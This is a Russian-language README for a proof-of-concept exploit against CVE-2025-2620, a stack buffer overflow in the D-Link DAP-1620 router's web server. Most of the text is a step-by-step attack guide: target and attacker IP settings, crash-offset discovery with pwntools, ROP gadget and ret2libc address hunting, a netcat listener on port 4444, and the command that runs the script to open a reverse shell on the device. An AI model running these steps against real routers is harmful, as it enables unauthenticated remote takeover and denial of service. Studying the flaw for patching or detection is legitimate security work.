Эксплойт Proof-of-Concept для CVE-2025-2620

Обзор

Этот репозиторий содержит продвинутый эксплойт Proof-of-Concept (PoC) для CVE-2025-2620 — критической уязвимости переполнения буфера стека, обнаруженной в маршрутизаторе D-Link DAP-1620 с версией прошивки 1.03. Уязвимость позволяет неаутентифицированным удаленным злоумышленникам вызывать отказ веб-сервера маршрутизатора (Отказ в обслуживании, DoS) и потенциально выполнять произвольный код (Удаленное выполнение кода, RCE).

Цель этого проекта — продемонстрировать навыки разработки эксплойтов.

Детали уязвимости

Описание CVE

CVE-2025-2620 затрагивает функцию mod_graph_auth_uri_handler маршрутизатора D-Link DAP-1620, конкретно в конечной точке /storage. Уязвимость вызвана неправильной проверкой границ, что позволяет злоумышленнику отправить большой ввод, превышающий выделенный размер буфера, что приводит к переполнению буфера стека.

Воздействие

• Отказ в обслуживании (DoS): Вызывает сбой HTTP-сервера маршрутизатора, делая его неотвечающим до перезагрузки.
• Удаленное выполнение кода (RCE): Злоумышленники могут перезаписать адрес возврата и выполнить произвольный код на архитектуре на базе MIPS.
• Аутентификация не требуется: Уязвимость может быть удаленно использована без учетных данных, что повышает ее серьезность.

Техническая разбивка

Уязвимая функция обрабатывает параметр аутентификации (auth) из HTTP-запросов:

void mod_graph_auth_uri_handler(char *input) {
    char buffer[512];  // Fixed-size stack buffer
    strcpy(buffer, input);  // No length check, causes overflow
    // Process authentication...
}

Злоумышленник, отправляющий перегруженную полезную нагрузку (например, 1024+ байта), перезаписывает соседнюю память, включая адрес возврата функции, что потенциально приводит к выполнению кода.

Оценка CVSS v3.1: 9.8 (Критическая)

Затронутые устройства

D-Link DAP-1620 — это удлинитель Wi-Fi-диапазона со следующими характеристиками:

• CPU: Realtek RTL8197F (MIPS 24Kc, ~600 МГц)
• RAM: 64 МБ
• Flash: 16 МБ
• Wi-Fi: Двухдиапазонный 802.11ac
• Прошивка: 1.03 (подтверждена уязвимость)
• Другие маршрутизаторы/удлинители D-Link с аналогичной прошивкой также могут быть затронуты.

График раскрытия

• 22 марта 2025 – CVE-2025-2620 опубликован в NVD/MITRE.
• 22 марта 2025 – Разработан и протестирован данный PoC.
• 22 марта 2025 – По состоянию на эту дату официальное исправление от D-Link отсутствует.

Детали эксплойта PoC

Возможности

Комбинированный PoC – Включает как тестирование переполнения буфера, так и эксплойт RCE.
Тест переполнения буфера стека – Идентифицирует уязвимые маршрутизаторы.
Полный эксплойт удаленного выполнения кода (RCE) – Запускает обратную оболочку.
Настраиваемый размер полезной нагрузки и адрес возврата – Адаптируется для разных моделей маршрутизаторов.
Улучшенная отладка – Логирует смещения сбоев для уточнения параметров эксплойта.

Установка и использование

Шаг 1: Клонирование репозитория

git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc

Шаг 2: Установка зависимостей

Убедитесь, что у вас установлены Python3 и pwntools:

pip install pwntools

Шаг 3: Настройка эксплойта

Измените скрипт CVE-2025-2620_poc.py:

Установите IP-адрес маршрутизатора:

TARGET_IP = "192.168.0.1"  # change to match your router

Установите IP-адрес вашей атакующей машины:

ATTACKER_IP = "192.168.0.100"  # change to your local IP
ATTACKER_PORT = 4444  # change if needed

Измените размер буфера при необходимости:

BUFFER_SIZE = 8000  # Increase if the router does not crash

Найдите смещение EIP и установите адрес возврата:

Шаг 1: Отправьте циклический шаблон

Измените PoC для генерации уникального шаблона и отправки:

MODE = "overflow"  # Set to "overflow" to find the offset

Запустите скрипт:

python3 CVE-2025-2620_poc.py

Шаг 2: Проверьте адрес сбоя

После сбоя маршрутизатора проверьте адрес ошибки сегментации (EIP на x86 или RA на MIPS) из:

• Логов маршрутизатора
• Отладчика (gdb)
• dmesg | grep 'segfault'

Ищите адрес вида 0x61616161 (означает, что часть циклического шаблона перезаписала указатель возврата).

Шаг 3: Найдите смещение

Используйте cyclic_find для определения точного OFFSET:

from pwn import cyclic_find
print(cyclic_find(0x61616161))  # Replace with the crash address

Это даст точное значение OFFSET. Обновите ваш PoC:

OFFSET = <FOUND OFFSET>  # Replace with the actual number

Шаг 4: Найдите подходящий адрес возврата (RET_ADDR)

• Вариант 1: Найдите гаджет JMP или CALL

  root@kitploit:~

  ROPgadget --binary vulnerable_binary | grep "jmp"
  

  Выберите адрес, который переходит на регистр (например, jmp $sp или jmp $ra).

• Вариант 2: Используйте адрес ret2libc Найдите адрес system() в libc:

  root@kitploit:~

  objdump -D /lib/libc.so.6 | grep "system"
  

  Затем используйте его как RET_ADDR:

  root@kitploit:~

  RET_ADDR = struct.pack("<I", 0xdeadbeef)  # Replace with actual address
  

Шаг 4: Запустите слушатель

nc -lvnp 4444

Шаг 5: Запустите эксплойт

python3 CVE-2025-2620_poc.py --mode rce

Разработано с ❤️ от Otsmane Ahmed